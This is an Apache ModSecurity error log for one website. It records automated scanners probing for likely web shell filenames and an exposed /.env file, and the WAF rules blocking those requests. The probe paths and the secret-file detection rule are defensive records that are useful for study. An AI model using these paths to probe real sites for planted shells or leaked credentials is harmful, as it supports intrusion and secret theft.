[Thu Mar 26 11:13:06.189942 2026] [:error] [pid 19712:tid 19796] [client 20.203.196.218:60583] [client 20.203.196.218] ModSecurity: Access denied with connection close (phase 1). Operator GT matched 10 at IP:wp404_cnt. [file "/usr/local/apache/modsecurity-cwaf/rules/99_Custom_WebShells.conf"] [line "47"] [id "771005"] [msg "Too many 404s in short window (likely scanner)"] [tag "rate_limit"] [tag "probes"] [hostname "agraphics.com.au"] [uri "/a4.php"] [unique_id "acSkQtWhKhRNqm23vFPzvAAAAJQ"]
[Thu Mar 26 11:13:07.044604 2026] [:error] [pid 31780:tid 31831] [client 20.203.196.218:58504] [client 20.203.196.218] ModSecurity: Access denied with connection close (phase 1). Operator GT matched 10 at IP:wp404_cnt. [file "/usr/local/apache/modsecurity-cwaf/rules/99_Custom_WebShells.conf"] [line "47"] [id "771005"] [msg "Too many 404s in short window (likely scanner)"] [tag "rate_limit"] [tag "probes"] [hostname "agraphics.com.au"] [uri "/ws81.php"] [unique_id "acSkQ5JDwZsy5O4ZXEgC1gAAAgo"]
[Thu Mar 26 11:13:07.615254 2026] [:error] [pid 19818:tid 19844] [client 20.203.196.218:55794] [client 20.203.196.218] ModSecurity: Access denied with connection close (phase 1). Operator GT matched 10 at IP:wp404_cnt. [file "/usr/local/apache/modsecurity-cwaf/rules/99_Custom_WebShells.conf"] [line "47"] [id "771005"] [msg "Too many 404s in short window (likely scanner)"] [tag "rate_limit"] [tag "probes"] [hostname "agraphics.com.au"] [uri "/ws81.php"] [unique_id "acSkQ8zaSnm3d1BeM5X03wAAANg"]
[Thu Mar 26 11:13:08.214334 2026] [:error] [pid 19818:tid 19833] [client 20.203.196.218:1312] [client 20.203.196.218] ModSecurity: Access denied with connection close (phase 1). Operator GT matched 10 at IP:wp404_cnt. [file "/usr/local/apache/modsecurity-cwaf/rules/99_Custom_WebShells.conf"] [line "47"] [id "771005"] [msg "Too many 404s in short window (likely scanner)"] [tag "rate_limit"] [tag "probes"] [hostname "agraphics.com.au"] [uri "/ws81.php"] [unique_id "acSkRMzaSnm3d1BeM5X04wAAAM0"]
[Thu Mar 26 11:13:08.729033 2026] [:error] [pid 19818:tid 19837] [client 20.203.196.218:55755] [client 20.203.196.218] ModSecurity: Access denied with connection close (phase 1). Operator GT matched 10 at IP:wp404_cnt. [file "/usr/local/apache/modsecurity-cwaf/rules/99_Custom_WebShells.conf"] [line "47"] [id "771005"] [msg "Too many 404s in short window (likely scanner)"] [tag "rate_limit"] [tag "probes"] [hostname "agraphics.com.au"] [uri "/ws81.php"] [unique_id "acSkRMzaSnm3d1BeM5X06AAAANE"]
[Thu Mar 26 11:13:09.268259 2026] [:error] [pid 60829:tid 60835] [client 20.203.196.218:55800] [client 20.203.196.218] ModSecurity: Access denied with connection close (phase 1). Operator GT matched 10 at IP:wp404_cnt. [file "/usr/local/apache/modsecurity-cwaf/rules/99_Custom_WebShells.conf"] [line "47"] [id "771005"] [msg "Too many 404s in short window (likely scanner)"] [tag "rate_limit"] [tag "probes"] [hostname "agraphics.com.au"] [uri "/sid3.php"] [unique_id "acSkRfTdjHKeZokybaRi1QAAAQQ"]
[Thu Mar 26 11:13:10.125052 2026] [:error] [pid 31780:tid 31829] [client 20.203.196.218:56378] [client 20.203.196.218] ModSecurity: Access denied with connection close (phase 1). Operator GT matched 10 at IP:wp404_cnt. [file "/usr/local/apache/modsecurity-cwaf/rules/99_Custom_WebShells.conf"] [line "47"] [id "771005"] [msg "Too many 404s in short window (likely scanner)"] [tag "rate_limit"] [tag "probes"] [hostname "agraphics.com.au"] [uri "/sid3.php"] [unique_id "acSkRpJDwZsy5O4ZXEgC2AAAAgg"]
[Thu Mar 26 11:13:10.768540 2026] [:error] [pid 19818:tid 19832] [client 20.203.196.218:65196] [client 20.203.196.218] ModSecurity: Access denied with connection close (phase 1). Operator GT matched 10 at IP:wp404_cnt. [file "/usr/local/apache/modsecurity-cwaf/rules/99_Custom_WebShells.conf"] [line "47"] [id "771005"] [msg "Too many 404s in short window (likely scanner)"] [tag "rate_limit"] [tag "probes"] [hostname "agraphics.com.au"] [uri "/sid3.php"] [unique_id "acSkRszaSnm3d1BeM5X08AAAAMw"]
[Thu Mar 26 11:13:11.424038 2026] [:error] [pid 19818:tid 19835] [client 20.203.196.218:56379] [client 20.203.196.218] ModSecurity: Access denied with connection close (phase 1). Operator GT matched 10 at IP:wp404_cnt. [file "/usr/local/apache/modsecurity-cwaf/rules/99_Custom_WebShells.conf"] [line "47"] [id "771005"] [msg "Too many 404s in short window (likely scanner)"] [tag "rate_limit"] [tag "probes"] [hostname "agraphics.com.au"] [uri "/sid3.php"] [unique_id "acSkR8zaSnm3d1BeM5X09AAAAM8"]
[Thu Mar 26 11:13:12.152341 2026] [:error] [pid 31778:tid 31800] [client 20.203.196.218:1758] [client 20.203.196.218] ModSecurity: Access denied with connection close (phase 1). Operator GT matched 10 at IP:wp404_cnt. [file "/usr/local/apache/modsecurity-cwaf/rules/99_Custom_WebShells.conf"] [line "47"] [id "771005"] [msg "Too many 404s in short window (likely scanner)"] [tag "rate_limit"] [tag "probes"] [hostname "agraphics.com.au"] [uri "/tx78.php"] [unique_id "acSkSA3kybI2o-xasmCGMAAAAcc"]
[Thu Mar 26 11:13:12.636620 2026] [:error] [pid 19818:tid 19840] [client 20.203.196.218:1806] [client 20.203.196.218] ModSecurity: Access denied with connection close (phase 1). Operator GT matched 10 at IP:wp404_cnt. [file "/usr/local/apache/modsecurity-cwaf/rules/99_Custom_WebShells.conf"] [line "47"] [id "771005"] [msg "Too many 404s in short window (likely scanner)"] [tag "rate_limit"] [tag "probes"] [hostname "agraphics.com.au"] [uri "/tx78.php"] [unique_id "acSkSMzaSnm3d1BeM5X0-QAAANQ"]
[Thu Mar 26 11:13:13.355040 2026] [:error] [pid 19818:tid 19821] [client 20.203.196.218:56323] [client 20.203.196.218] ModSecurity: Access denied with connection close (phase 1). Operator GT matched 10 at IP:wp404_cnt. [file "/usr/local/apache/modsecurity-cwaf/rules/99_Custom_WebShells.conf"] [line "47"] [id "771005"] [msg "Too many 404s in short window (likely scanner)"] [tag "rate_limit"] [tag "probes"] [hostname "agraphics.com.au"] [uri "/tx78.php"] [unique_id "acSkSczaSnm3d1BeM5X0_gAAAME"]
[Thu Mar 26 11:13:14.236764 2026] [:error] [pid 31670:tid 31688] [client 20.203.196.218:1826] [client 20.203.196.218] ModSecurity: Access denied with connection close (phase 1). Operator GT matched 10 at IP:wp404_cnt. [file "/usr/local/apache/modsecurity-cwaf/rules/99_Custom_WebShells.conf"] [line "47"] [id "771005"] [msg "Too many 404s in short window (likely scanner)"] [tag "rate_limit"] [tag "probes"] [hostname "agraphics.com.au"] [uri "/tx78.php"] [unique_id "acSkSjXVthXxCnWjOTSsdgAAAVA"]
[Thu Mar 26 11:13:15.156886 2026] [:error] [pid 31670:tid 31694] [client 20.203.196.218:1787] [client 20.203.196.218] ModSecurity: Access denied with connection close (phase 1). Operator GT matched 10 at IP:wp404_cnt. [file "/usr/local/apache/modsecurity-cwaf/rules/99_Custom_WebShells.conf"] [line "47"] [id "771005"] [msg "Too many 404s in short window (likely scanner)"] [tag "rate_limit"] [tag "probes"] [hostname "agraphics.com.au"] [uri "/wp9.php"] [unique_id "acSkSzXVthXxCnWjOTSsegAAAVY"]
[Thu Mar 26 11:13:15.757980 2026] [:error] [pid 31778:tid 31808] [client 20.203.196.218:58616] [client 20.203.196.218] ModSecurity: Access denied with connection close (phase 1). Operator GT matched 10 at IP:wp404_cnt. [file "/usr/local/apache/modsecurity-cwaf/rules/99_Custom_WebShells.conf"] [line "47"] [id "771005"] [msg "Too many 404s in short window (likely scanner)"] [tag "rate_limit"] [tag "probes"] [hostname "agraphics.com.au"] [uri "/wp9.php"] [unique_id "acSkSw3kybI2o-xasmCGMwAAAc8"]
[Thu Mar 26 11:13:16.451229 2026] [:error] [pid 31778:tid 31795] [client 20.203.196.218:53017] [client 20.203.196.218] ModSecurity: Access denied with connection close (phase 1). Operator GT matched 10 at IP:wp404_cnt. [file "/usr/local/apache/modsecurity-cwaf/rules/99_Custom_WebShells.conf"] [line "47"] [id "771005"] [msg "Too many 404s in short window (likely scanner)"] [tag "rate_limit"] [tag "probes"] [hostname "agraphics.com.au"] [uri "/wp9.php"] [unique_id "acSkTA3kybI2o-xasmCGOAAAAcI"]
[Thu Mar 26 11:13:17.182108 2026] [:error] [pid 60829:tid 60844] [client 20.203.196.218:55768] [client 20.203.196.218] ModSecurity: Access denied with connection close (phase 1). Operator GT matched 10 at IP:wp404_cnt. [file "/usr/local/apache/modsecurity-cwaf/rules/99_Custom_WebShells.conf"] [line "47"] [id "771005"] [msg "Too many 404s in short window (likely scanner)"] [tag "rate_limit"] [tag "probes"] [hostname "agraphics.com.au"] [uri "/wp9.php"] [unique_id "acSkTfTdjHKeZokybaRi2wAAAQ0"]
[Thu Mar 26 11:13:17.678201 2026] [:error] [pid 60829:tid 60849] [client 20.203.196.218:53015] [client 20.203.196.218] ModSecurity: Access denied with connection close (phase 1). Operator GT matched 10 at IP:wp404_cnt. [file "/usr/local/apache/modsecurity-cwaf/rules/99_Custom_WebShells.conf"] [line "47"] [id "771005"] [msg "Too many 404s in short window (likely scanner)"] [tag "rate_limit"] [tag "probes"] [hostname "agraphics.com.au"] [uri "/cu.php"] [unique_id "acSkTfTdjHKeZokybaRi3AAAARI"]
[Thu Mar 26 11:13:18.221256 2026] [:error] [pid 19818:tid 19839] [client 20.203.196.218:1287] [client 20.203.196.218] ModSecurity: Access denied with connection close (phase 1). Operator GT matched 10 at IP:wp404_cnt. [file "/usr/local/apache/modsecurity-cwaf/rules/99_Custom_WebShells.conf"] [line "47"] [id "771005"] [msg "Too many 404s in short window (likely scanner)"] [tag "rate_limit"] [tag "probes"] [hostname "agraphics.com.au"] [uri "/cu.php"] [unique_id "acSkTszaSnm3d1BeM5X1AAAAANM"]
[Thu Mar 26 11:13:19.269638 2026] [:error] [pid 19818:tid 19829] [client 20.203.196.218:55773] [client 20.203.196.218] ModSecurity: Access denied with connection close (phase 1). Operator GT matched 10 at IP:wp404_cnt. [file "/usr/local/apache/modsecurity-cwaf/rules/99_Custom_WebShells.conf"] [line "47"] [id "771005"] [msg "Too many 404s in short window (likely scanner)"] [tag "rate_limit"] [tag "probes"] [hostname "agraphics.com.au"] [uri "/cu.php"] [unique_id "acSkT8zaSnm3d1BeM5X1AwAAAMk"]
[Thu Mar 26 11:13:19.853124 2026] [:error] [pid 19818:tid 19822] [client 20.203.196.218:58881] [client 20.203.196.218] ModSecurity: Access denied with connection close (phase 1). Operator GT matched 10 at IP:wp404_cnt. [file "/usr/local/apache/modsecurity-cwaf/rules/99_Custom_WebShells.conf"] [line "47"] [id "771005"] [msg "Too many 404s in short window (likely scanner)"] [tag "rate_limit"] [tag "probes"] [hostname "agraphics.com.au"] [uri "/cu.php"] [unique_id "acSkT8zaSnm3d1BeM5X1BgAAAMI"]
[Thu Mar 26 11:13:20.531594 2026] [:error] [pid 31670:tid 31684] [client 20.203.196.218:57805] [client 20.203.196.218] ModSecurity: Access denied with connection close (phase 1). Operator GT matched 10 at IP:wp404_cnt. [file "/usr/local/apache/modsecurity-cwaf/rules/99_Custom_WebShells.conf"] [line "47"] [id "771005"] [msg "Too many 404s in short window (likely scanner)"] [tag "rate_limit"] [tag "probes"] [hostname "agraphics.com.au"] [uri "/asd.php"] [unique_id "acSkUDXVthXxCnWjOTSsfAAAAUw"]
[Thu Mar 26 11:13:21.263140 2026] [:error] [pid 19712:tid 19785] [client 20.203.196.218:1800] [client 20.203.196.218] ModSecurity: Access denied with connection close (phase 1). Operator GT matched 10 at IP:wp404_cnt. [file "/usr/local/apache/modsecurity-cwaf/rules/99_Custom_WebShells.conf"] [line "47"] [id "771005"] [msg "Too many 404s in short window (likely scanner)"] [tag "rate_limit"] [tag "probes"] [hostname "agraphics.com.au"] [uri "/asd.php"] [unique_id "acSkUdWhKhRNqm23vFPzxAAAAIk"]
[Thu Mar 26 11:13:21.935502 2026] [:error] [pid 31778:tid 31793] [client 20.203.196.218:56333] [client 20.203.196.218] ModSecurity: Access denied with connection close (phase 1). Operator GT matched 10 at IP:wp404_cnt. [file "/usr/local/apache/modsecurity-cwaf/rules/99_Custom_WebShells.conf"] [line "47"] [id "771005"] [msg "Too many 404s in short window (likely scanner)"] [tag "rate_limit"] [tag "probes"] [hostname "agraphics.com.au"] [uri "/asd.php"] [unique_id "acSkUQ3kybI2o-xasmCGPAAAAcA"]
[Thu Mar 26 11:13:22.741351 2026] [:error] [pid 31670:tid 31687] [client 20.203.196.218:1814] [client 20.203.196.218] ModSecurity: Access denied with connection close (phase 1). Operator GT matched 10 at IP:wp404_cnt. [file "/usr/local/apache/modsecurity-cwaf/rules/99_Custom_WebShells.conf"] [line "47"] [id "771005"] [msg "Too many 404s in short window (likely scanner)"] [tag "rate_limit"] [tag "probes"] [hostname "agraphics.com.au"] [uri "/asd.php"] [unique_id "acSkUjXVthXxCnWjOTSsggAAAU8"]
[Thu Mar 26 11:13:23.262776 2026] [:error] [pid 31780:tid 31841] [client 20.203.196.218:56322] [client 20.203.196.218] ModSecurity: Access denied with connection close (phase 1). Operator GT matched 10 at IP:wp404_cnt. [file "/usr/local/apache/modsecurity-cwaf/rules/99_Custom_WebShells.conf"] [line "47"] [id "771005"] [msg "Too many 404s in short window (likely scanner)"] [tag "rate_limit"] [tag "probes"] [hostname "agraphics.com.au"] [uri "/byypas.php"] [unique_id "acSkU5JDwZsy5O4ZXEgC5gAAAhQ"]
[Thu Mar 26 11:13:23.833341 2026] [:error] [pid 19818:tid 19826] [client 20.203.196.218:55777] [client 20.203.196.218] ModSecurity: Access denied with connection close (phase 1). Operator GT matched 10 at IP:wp404_cnt. [file "/usr/local/apache/modsecurity-cwaf/rules/99_Custom_WebShells.conf"] [line "47"] [id "771005"] [msg "Too many 404s in short window (likely scanner)"] [tag "rate_limit"] [tag "probes"] [hostname "agraphics.com.au"] [uri "/byypas.php"] [unique_id "acSkU8zaSnm3d1BeM5X1DgAAAMY"]
[Thu Mar 26 11:13:24.472605 2026] [:error] [pid 19818:tid 19828] [client 20.203.196.218:1781] [client 20.203.196.218] ModSecurity: Access denied with connection close (phase 1). Operator GT matched 10 at IP:wp404_cnt. [file "/usr/local/apache/modsecurity-cwaf/rules/99_Custom_WebShells.conf"] [line "47"] [id "771005"] [msg "Too many 404s in short window (likely scanner)"] [tag "rate_limit"] [tag "probes"] [hostname "agraphics.com.au"] [uri "/byypas.php"] [unique_id "acSkVMzaSnm3d1BeM5X1EAAAAMg"]
[Thu Mar 26 11:13:25.328651 2026] [:error] [pid 31717:tid 31737] [client 20.203.196.218:65180] [client 20.203.196.218] ModSecurity: Access denied with connection close (phase 1). Operator GT matched 10 at IP:wp404_cnt. [file "/usr/local/apache/modsecurity-cwaf/rules/99_Custom_WebShells.conf"] [line "47"] [id "771005"] [msg "Too many 404s in short window (likely scanner)"] [tag "rate_limit"] [tag "probes"] [hostname "agraphics.com.au"] [uri "/byypas.php"] [unique_id "acSkVb-SCF7YDISDX4-arwAAAY8"]
[Thu Mar 26 11:13:25.960791 2026] [:error] [pid 19818:tid 19823] [client 20.203.196.218:1848] [client 20.203.196.218] ModSecurity: Access denied with connection close (phase 1). Operator GT matched 10 at IP:wp404_cnt. [file "/usr/local/apache/modsecurity-cwaf/rules/99_Custom_WebShells.conf"] [line "47"] [id "771005"] [msg "Too many 404s in short window (likely scanner)"] [tag "rate_limit"] [tag "probes"] [hostname "agraphics.com.au"] [uri "/myfile.php"] [unique_id "acSkVczaSnm3d1BeM5X1GQAAAMM"]
[Thu Mar 26 11:13:27.372289 2026] [:error] [pid 19818:tid 19822] [client 20.203.196.218:65175] [client 20.203.196.218] ModSecurity: Access denied with connection close (phase 1). Operator GT matched 10 at IP:wp404_cnt. [file "/usr/local/apache/modsecurity-cwaf/rules/99_Custom_WebShells.conf"] [line "47"] [id "771005"] [msg "Too many 404s in short window (likely scanner)"] [tag "rate_limit"] [tag "probes"] [hostname "agraphics.com.au"] [uri "/myfile.php"] [unique_id "acSkV8zaSnm3d1BeM5X1GwAAAMI"]
[Thu Mar 26 11:13:28.061316 2026] [:error] [pid 31670:tid 31682] [client 20.203.196.218:1853] [client 20.203.196.218] ModSecurity: Access denied with connection close (phase 1). Operator GT matched 10 at IP:wp404_cnt. [file "/usr/local/apache/modsecurity-cwaf/rules/99_Custom_WebShells.conf"] [line "47"] [id "771005"] [msg "Too many 404s in short window (likely scanner)"] [tag "rate_limit"] [tag "probes"] [hostname "agraphics.com.au"] [uri "/myfile.php"] [unique_id "acSkWDXVthXxCnWjOTSshAAAAUo"]
[Thu Mar 26 11:13:28.914107 2026] [:error] [pid 31717:tid 31742] [client 20.203.196.218:1849] [client 20.203.196.218] ModSecurity: Access denied with connection close (phase 1). Operator GT matched 10 at IP:wp404_cnt. [file "/usr/local/apache/modsecurity-cwaf/rules/99_Custom_WebShells.conf"] [line "47"] [id "771005"] [msg "Too many 404s in short window (likely scanner)"] [tag "rate_limit"] [tag "probes"] [hostname "agraphics.com.au"] [uri "/myfile.php"] [unique_id "acSkWL-SCF7YDISDX4-asgAAAZQ"]
[Thu Mar 26 12:49:41.325585 2026] [:error] [pid 19818:tid 19825] [client 181.215.182.26:31175] [client 181.215.182.26] ModSecurity: Access denied with code 403 (phase 1). Matched phrase "/.env" at REQUEST_URI. [file "/usr/local/apache/modsecurity-cwaf/rules/02_Global_Generic.conf"] [line "117"] [id "210492"] [rev "3"] [severity "CRITICAL"] [tag "CWAF"] [tag "Generic"] [hostname "agraphics.com.au"] [uri "/.env"] [unique_id "acS65czaSnm3d1BeM5U3awAAAMU"]
[Thu Mar 26 16:51:21.396359 2026] [proxy_fcgi:error] [pid 31670:tid 31683] [client 4.232.84.11:65137] AH01071: Got error 'Primary script unknown'
[Thu Mar 26 16:51:21.643730 2026] [proxy_fcgi:error] [pid 31670:tid 31686] [client 4.232.84.11:65137] AH01071: Got error 'Primary script unknown'
[Thu Mar 26 16:51:21.944853 2026] [proxy_fcgi:error] [pid 31670:tid 31684] [client 4.232.84.11:65137] AH01071: Got error 'Primary script unknown'
[Thu Mar 26 16:51:22.192818 2026] [proxy_fcgi:error] [pid 31670:tid 31691] [client 4.232.84.11:65137] AH01071: Got error 'Primary script unknown'
[Thu Mar 26 16:51:22.453616 2026] [proxy_fcgi:error] [pid 31670:tid 31687] [client 4.232.84.11:65137] AH01071: Got error 'Primary script unknown'
[Thu Mar 26 16:51:22.699585 2026] [proxy_fcgi:error] [pid 31670:tid 31685] [client 4.232.84.11:65137] AH01071: Got error 'Primary script unknown'
[Thu Mar 26 16:51:22.936111 2026] [proxy_fcgi:error] [pid 31670:tid 31683] [client 4.232.84.11:65137] AH01071: Got error 'Primary script unknown'
[Thu Mar 26 16:51:23.173041 2026] [proxy_fcgi:error] [pid 31670:tid 31689] [client 4.232.84.11:65137] AH01071: Got error 'Primary script unknown'
[Thu Mar 26 16:51:23.452943 2026] [proxy_fcgi:error] [pid 31670:tid 31691] [client 4.232.84.11:65137] AH01071: Got error 'Primary script unknown'
[Thu Mar 26 16:51:23.726961 2026] [proxy_fcgi:error] [pid 31670:tid 31690] [client 4.232.84.11:65137] AH01071: Got error 'Primary script unknown'
[Thu Mar 26 16:51:23.984067 2026] [:error] [pid 31670:tid 31679] [client 4.232.84.11:65137] [client 4.232.84.11] ModSecurity: Access denied with connection close (phase 1). Operator GT matched 10 at IP:wp404_cnt. [file "/usr/local/apache/modsecurity-cwaf/rules/99_Custom_WebShells.conf"] [line "47"] [id "771005"] [msg "Too many 404s in short window (likely scanner)"] [tag "rate_limit"] [tag "probes"] [hostname "agraphics.com.au"] [uri "/zcsu.php"] [unique_id "acTzizXVthXxCnWjOTRIKgAAAUc"]
[Thu Mar 26 16:51:24.528569 2026] [:error] [pid 19818:tid 19838] [client 4.232.84.11:65206] [client 4.232.84.11] ModSecurity: Access denied with connection close (phase 1). Operator GT matched 10 at IP:wp404_cnt. [file "/usr/local/apache/modsecurity-cwaf/rules/99_Custom_WebShells.conf"] [line "47"] [id "771005"] [msg "Too many 404s in short window (likely scanner)"] [tag "rate_limit"] [tag "probes"] [hostname "agraphics.com.au"] [uri "/zcsu.php"] [unique_id "acTzjMzaSnm3d1BeM5XLagAAANI"]
[Thu Mar 26 16:51:25.143912 2026] [:error] [pid 31778:tid 31816] [client 4.232.84.11:65357] [client 4.232.84.11] ModSecurity: Access denied with connection close (phase 1). Operator GT matched 10 at IP:wp404_cnt. [file "/usr/local/apache/modsecurity-cwaf/rules/99_Custom_WebShells.conf"] [line "47"] [id "771005"] [msg "Too many 404s in short window (likely scanner)"] [tag "rate_limit"] [tag "probes"] [hostname "agraphics.com.au"] [uri "/zcsu.php"] [unique_id "acTzjQ3kybI2o-xasmDfGwAAAdc"]
[Thu Mar 26 16:51:26.379148 2026] [:error] [pid 31670:tid 31691] [client 4.232.84.11:65442] [client 4.232.84.11] ModSecurity: Access denied with connection close (phase 1). Operator GT matched 10 at IP:wp404_cnt. [file "/usr/local/apache/modsecurity-cwaf/rules/99_Custom_WebShells.conf"] [line "47"] [id "771005"] [msg "Too many 404s in short window (likely scanner)"] [tag "rate_limit"] [tag "probes"] [hostname "agraphics.com.au"] [uri "/zcsu.php"] [unique_id "acTzjjXVthXxCnWjOTRILgAAAVM"]
[Thu Mar 26 16:51:27.069439 2026] [:error] [pid 19712:tid 19794] [client 4.232.84.11:64929] [client 4.232.84.11] ModSecurity: Access denied with connection close (phase 1). Operator GT matched 10 at IP:wp404_cnt. [file "/usr/local/apache/modsecurity-cwaf/rules/99_Custom_WebShells.conf"] [line "47"] [id "771005"] [msg "Too many 404s in short window (likely scanner)"] [tag "rate_limit"] [tag "probes"] [hostname "agraphics.com.au"] [uri "/aa.php"] [unique_id "acTzj9WhKhRNqm23vFMQ6QAAAJI"]
[Thu Mar 26 16:51:27.999405 2026] [:error] [pid 19711:tid 19773] [client 4.232.84.11:65373] [client 4.232.84.11] ModSecurity: Access denied with connection close (phase 1). Operator GT matched 10 at IP:wp404_cnt. [file "/usr/local/apache/modsecurity-cwaf/rules/99_Custom_WebShells.conf"] [line "47"] [id "771005"] [msg "Too many 404s in short window (likely scanner)"] [tag "rate_limit"] [tag "probes"] [hostname "agraphics.com.au"] [uri "/aa.php"] [unique_id "acTzj2j3l1y81GYfluSDowAAAFg"]
[Thu Mar 26 16:51:28.594814 2026] [:error] [pid 31778:tid 31815] [client 4.232.84.11:65414] [client 4.232.84.11] ModSecurity: Access denied with connection close (phase 1). Operator GT matched 10 at IP:wp404_cnt. [file "/usr/local/apache/modsecurity-cwaf/rules/99_Custom_WebShells.conf"] [line "47"] [id "771005"] [msg "Too many 404s in short window (likely scanner)"] [tag "rate_limit"] [tag "probes"] [hostname "agraphics.com.au"] [uri "/aa.php"] [unique_id "acTzkA3kybI2o-xasmDfIQAAAdY"]
[Thu Mar 26 16:51:29.123514 2026] [:error] [pid 60829:tid 60841] [client 4.232.84.11:65466] [client 4.232.84.11] ModSecurity: Access denied with connection close (phase 1). Operator GT matched 10 at IP:wp404_cnt. [file "/usr/local/apache/modsecurity-cwaf/rules/99_Custom_WebShells.conf"] [line "47"] [id "771005"] [msg "Too many 404s in short window (likely scanner)"] [tag "rate_limit"] [tag "probes"] [hostname "agraphics.com.au"] [uri "/aa.php"] [unique_id "acTzkfTdjHKeZokybaSkagAAAQo"]
[Thu Mar 26 16:51:29.688169 2026] [:error] [pid 31778:tid 31814] [client 4.232.84.11:65191] [client 4.232.84.11] ModSecurity: Access denied with connection close (phase 1). Operator GT matched 10 at IP:wp404_cnt. [file "/usr/local/apache/modsecurity-cwaf/rules/99_Custom_WebShells.conf"] [line "47"] [id "771005"] [msg "Too many 404s in short window (likely scanner)"] [tag "rate_limit"] [tag "probes"] [hostname "agraphics.com.au"] [uri "/wp-cxs.php"] [unique_id "acTzkQ3kybI2o-xasmDfIgAAAdU"]
[Thu Mar 26 16:51:30.210527 2026] [:error] [pid 31670:tid 31672] [client 4.232.84.11:65397] [client 4.232.84.11] ModSecurity: Access denied with connection close (phase 1). Operator GT matched 10 at IP:wp404_cnt. [file "/usr/local/apache/modsecurity-cwaf/rules/99_Custom_WebShells.conf"] [line "47"] [id "771005"] [msg "Too many 404s in short window (likely scanner)"] [tag "rate_limit"] [tag "probes"] [hostname "agraphics.com.au"] [uri "/wp-cxs.php"] [unique_id "acTzkjXVthXxCnWjOTRIMwAAAUA"]
[Thu Mar 26 16:51:30.685301 2026] [:error] [pid 31670:tid 31675] [client 4.232.84.11:65158] [client 4.232.84.11] ModSecurity: Access denied with connection close (phase 1). Operator GT matched 10 at IP:wp404_cnt. [file "/usr/local/apache/modsecurity-cwaf/rules/99_Custom_WebShells.conf"] [line "47"] [id "771005"] [msg "Too many 404s in short window (likely scanner)"] [tag "rate_limit"] [tag "probes"] [hostname "agraphics.com.au"] [uri "/wp-cxs.php"] [unique_id "acTzkjXVthXxCnWjOTRIOAAAAUM"]
[Thu Mar 26 16:51:31.325941 2026] [:error] [pid 31670:tid 31674] [client 4.232.84.11:65424] [client 4.232.84.11] ModSecurity: Access denied with connection close (phase 1). Operator GT matched 10 at IP:wp404_cnt. [file "/usr/local/apache/modsecurity-cwaf/rules/99_Custom_WebShells.conf"] [line "47"] [id "771005"] [msg "Too many 404s in short window (likely scanner)"] [tag "rate_limit"] [tag "probes"] [hostname "agraphics.com.au"] [uri "/wp-cxs.php"] [unique_id "acTzkzXVthXxCnWjOTRIOwAAAUI"]
[Thu Mar 26 16:51:32.031193 2026] [:error] [pid 31717:tid 31745] [client 4.232.84.11:64837] [client 4.232.84.11] ModSecurity: Access denied with connection close (phase 1). Operator GT matched 10 at IP:wp404_cnt. [file "/usr/local/apache/modsecurity-cwaf/rules/99_Custom_WebShells.conf"] [line "47"] [id "771005"] [msg "Too many 404s in short window (likely scanner)"] [tag "rate_limit"] [tag "probes"] [hostname "agraphics.com.au"] [uri "/wp-scanner.php"] [unique_id "acTzlL-SCF7YDISDX4_PhgAAAZc"]
[Thu Mar 26 16:51:32.558836 2026] [:error] [pid 31670:tid 31695] [client 4.232.84.11:65378] [client 4.232.84.11] ModSecurity: Access denied with connection close (phase 1). Operator GT matched 10 at IP:wp404_cnt. [file "/usr/local/apache/modsecurity-cwaf/rules/99_Custom_WebShells.conf"] [line "47"] [id "771005"] [msg "Too many 404s in short window (likely scanner)"] [tag "rate_limit"] [tag "probes"] [hostname "agraphics.com.au"] [uri "/wp-scanner.php"] [unique_id "acTzlDXVthXxCnWjOTRIQgAAAVc"]
[Thu Mar 26 16:51:33.040708 2026] [:error] [pid 31778:tid 31806] [client 4.232.84.11:65454] [client 4.232.84.11] ModSecurity: Access denied with connection close (phase 1). Operator GT matched 10 at IP:wp404_cnt. [file "/usr/local/apache/modsecurity-cwaf/rules/99_Custom_WebShells.conf"] [line "47"] [id "771005"] [msg "Too many 404s in short window (likely scanner)"] [tag "rate_limit"] [tag "probes"] [hostname "agraphics.com.au"] [uri "/wp-scanner.php"] [unique_id "acTzlQ3kybI2o-xasmDfJAAAAc0"]
[Thu Mar 26 16:51:33.671950 2026] [:error] [pid 31670:tid 31694] [client 4.232.84.11:65208] [client 4.232.84.11] ModSecurity: Access denied with connection close (phase 1). Operator GT matched 10 at IP:wp404_cnt. [file "/usr/local/apache/modsecurity-cwaf/rules/99_Custom_WebShells.conf"] [line "47"] [id "771005"] [msg "Too many 404s in short window (likely scanner)"] [tag "rate_limit"] [tag "probes"] [hostname "agraphics.com.au"] [uri "/wp-scanner.php"] [unique_id "acTzlTXVthXxCnWjOTRISQAAAVY"]
[Thu Mar 26 16:51:34.274883 2026] [:error] [pid 19818:tid 19831] [client 4.232.84.11:65415] [client 4.232.84.11] ModSecurity: Access denied with connection close (phase 1). Operator GT matched 10 at IP:wp404_cnt. [file "/usr/local/apache/modsecurity-cwaf/rules/99_Custom_WebShells.conf"] [line "47"] [id "771005"] [msg "Too many 404s in short window (likely scanner)"] [tag "rate_limit"] [tag "probes"] [hostname "agraphics.com.au"] [uri "/saorix1.php"] [unique_id "acTzlszaSnm3d1BeM5XLegAAAMs"]
[Thu Mar 26 16:51:34.776823 2026] [:error] [pid 19818:tid 19829] [client 4.232.84.11:64933] [client 4.232.84.11] ModSecurity: Access denied with connection close (phase 1). Operator GT matched 10 at IP:wp404_cnt. [file "/usr/local/apache/modsecurity-cwaf/rules/99_Custom_WebShells.conf"] [line "47"] [id "771005"] [msg "Too many 404s in short window (likely scanner)"] [tag "rate_limit"] [tag "probes"] [hostname "agraphics.com.au"] [uri "/saorix1.php"] [unique_id "acTzlszaSnm3d1BeM5XLfAAAAMk"]
[Thu Mar 26 16:51:35.293571 2026] [:error] [pid 31778:tid 31798] [client 4.232.84.11:64946] [client 4.232.84.11] ModSecurity: Access denied with connection close (phase 1). Operator GT matched 10 at IP:wp404_cnt. [file "/usr/local/apache/modsecurity-cwaf/rules/99_Custom_WebShells.conf"] [line "47"] [id "771005"] [msg "Too many 404s in short window (likely scanner)"] [tag "rate_limit"] [tag "probes"] [hostname "agraphics.com.au"] [uri "/saorix1.php"] [unique_id "acTzlw3kybI2o-xasmDfKwAAAcU"]
